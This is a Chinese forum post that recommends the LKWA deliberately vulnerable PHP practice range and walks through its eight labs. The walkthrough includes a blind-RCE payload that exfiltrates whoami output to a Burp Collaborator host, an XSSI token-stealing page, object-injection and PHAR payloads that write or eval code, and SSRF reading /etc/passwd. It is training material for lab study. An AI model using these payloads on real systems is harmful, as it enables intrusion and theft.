查看: 597|回复: 0

[Web] Web漏洞练习靶场推荐——LKWA

[复制链接]
发表于 2020-9-19 23:36:02 | 显示全部楼层 |阅读模式

相关题目:

♦ LKWA靶场

  最近在发现了一个不错的Web漏洞练习靶场——LKWA
  它包含了八种Web漏洞:
  • Blind RCE
  • XSSI
  • PHP Object Injection
  • PHP Object Injection via Cookies
  • PHP Object Injection (Object Reference)
  • PHAR Deserialization
  • SSRF
  • Variables variable
  项目地址:
https://github.com/weev3/LKWA
  部署方法:
# Clone 

git clone [url]https://github.com/weev3/LKWA[/url]

# Docker

docker-compose up

访问 http://ip:3000
  注意:
  对于XSSI实验,需要把apache2.conf配置文件中的Allow Override None改成Allow Override ALL
  对于PHAR Deserialization实验,需要把php.ini配置文件中的phar.readonly = On改成phar.readonly = Off
  由于按照官方的搭建方法有的实验无法复现,所以重写了Dockerfile,并且配置文件也改好了。
  镜像已上传到Dockerhub。
  具体使用方法:
docker pull area39/lkwa:latest
docker run -d -p 3000:80 area39/lkwa:latest

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
实验一:Blind RCE  blind_rce.php代码部分:

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  在第10行由POST方式传入user_input变量的值,然后使用exec函数执行了user_input值,并且没有回显输出。
  此时我们可以结合Burpsuite Collaborato模块来查看输出。

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  Payload
1
ping `whoami`.xxx.burpcollaborator.com

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
实验二:XSSI
  https://stackoverflow.com/questi ... ript-inclusion-xssi
  使用用户名admin密码password登录,然后可以看到用户名和随机token。

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  用户名和令牌是使用ajax检索的,如下所示:

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
  <head>
    <title>XSSI</title>    
  </head>
<body>
    <script>
        function a(s)
        {
        alert(JSON.stringify(s));
        }
    </script>
    <script src="http://ip:3000/api/user?callback=a"></script>
</body>
</html>
  保存成xssi.php,在本地搭建好,然后访问该URL获取token。

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
实验三:PHP Object Injection
  https://blog.csdn.net/qq_19876131/article/details/50926210
  在该实验中,单击提交按钮后,一些序列化数据将会添加到url中,如下图所示:

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Foo{
    function __construct($filename, $data) {
        $this->filename = $filename;
        $this->data = $data;
    }
    function __destruct(){
        file_put_contents($this->filename, $this->data);
    }
}
 
$a = new Foo("test.php","<?php phpinfo(); ?>");
echo serialize($a);
?>
  然后运行上面的脚本

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  复制序列化的输出字符串,将其替换为object参数的值,然后发送请求。

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  然后就可以看到有个test.php文件被创建。

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
实验四:PHP Object Injection via Cookies  该实验与实验三相同,唯一的区别是对象注入发生在cookie中。
  使用用户名admin密码password登录,一些序列化数据将添加到cookie中。

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
 
/**
 * Object Injection via Cookie
 */
class Foo{
    public $cmd;
    function __construct() {
    }
    function __destruct(){
        eval($this->cmd);
    }
}
 
$a = new Foo();
$a->cmd = "phpinfo();";
echo serialize($a);
?>

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  然后将输出的字符串替换cookie(注意符号URL转义)。

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
实验五:PHP Object Injection (Object Reference)  看到一个输入框,随便输一个试试,他会提示Loser!!!!

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  代码部分:

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  如图所示,它让我们的输入数字和序列化数据,然后将输入的数字与随机生成的密码进行比较。如果输入的数字与该密码匹配,则表明Win,否则Loser。
  明显这是不可能的,但是可以想办法绕开,从而获得Win。
  POC
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Object1
{
  var $guess;
  var $secretCode;
}
 
$a = new Object1();
$a->guess =  &$a->secretCode;
 
echo serialize($a);
 
?>

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
实验六:PHAR Deserialization
  https://www.freebuf.com/articles/web/182231.html
  POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// create new Phar
@unlink("pharfile.phar");
$phar = new Phar('pharfile.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'data');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
 
// add object of any class as meta data
class log
{
    function __wakeup(){
    }
}
$object = new log;
$object->filename = 'shell.php';
$object->data = '<?php phpinfo();?>';
$phar->setMetadata($object);
$phar->stopBuffering();
?>
  运行后会在本目录下生成一个pharfile.phar文件,然后把该文件上传

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  Payload
1
http://ip:3000/phar_deserial/phar_deserial.php?file=phar://uploads/pharfile.phar

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
实验七:SSRF  在输入框中输入一个图片的url,将会在页面中显示出来

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  代码部分:
1
2
3
4
5
6
7
<?php
include("sidebar.php");
if (isset($_GET['image'])) {
# code...
echo file_get_contents($_GET['image'], true);
}
?>
  代码比较简单,也可以包含/etc/passwd之类的本地文件。

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
实验八:Variables variable
  https://www.exploit-db.com/papers/13182
  在输入框中输入一些值,然后就会var_dump输出你输入的值。

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  代码部分:

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA
  如果以GET方式传入func和input的值,则将func的值添加到$var变量中,然后会将$var变量添加到动态变量中。
  该动态变量可控,我们可以把var_dump换成assert或者passthru等等。
  

Web漏洞练习靶场推荐——LKWA

Web漏洞练习靶场推荐——LKWA



温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
微信公众号
快速回复 返回顶部 返回列表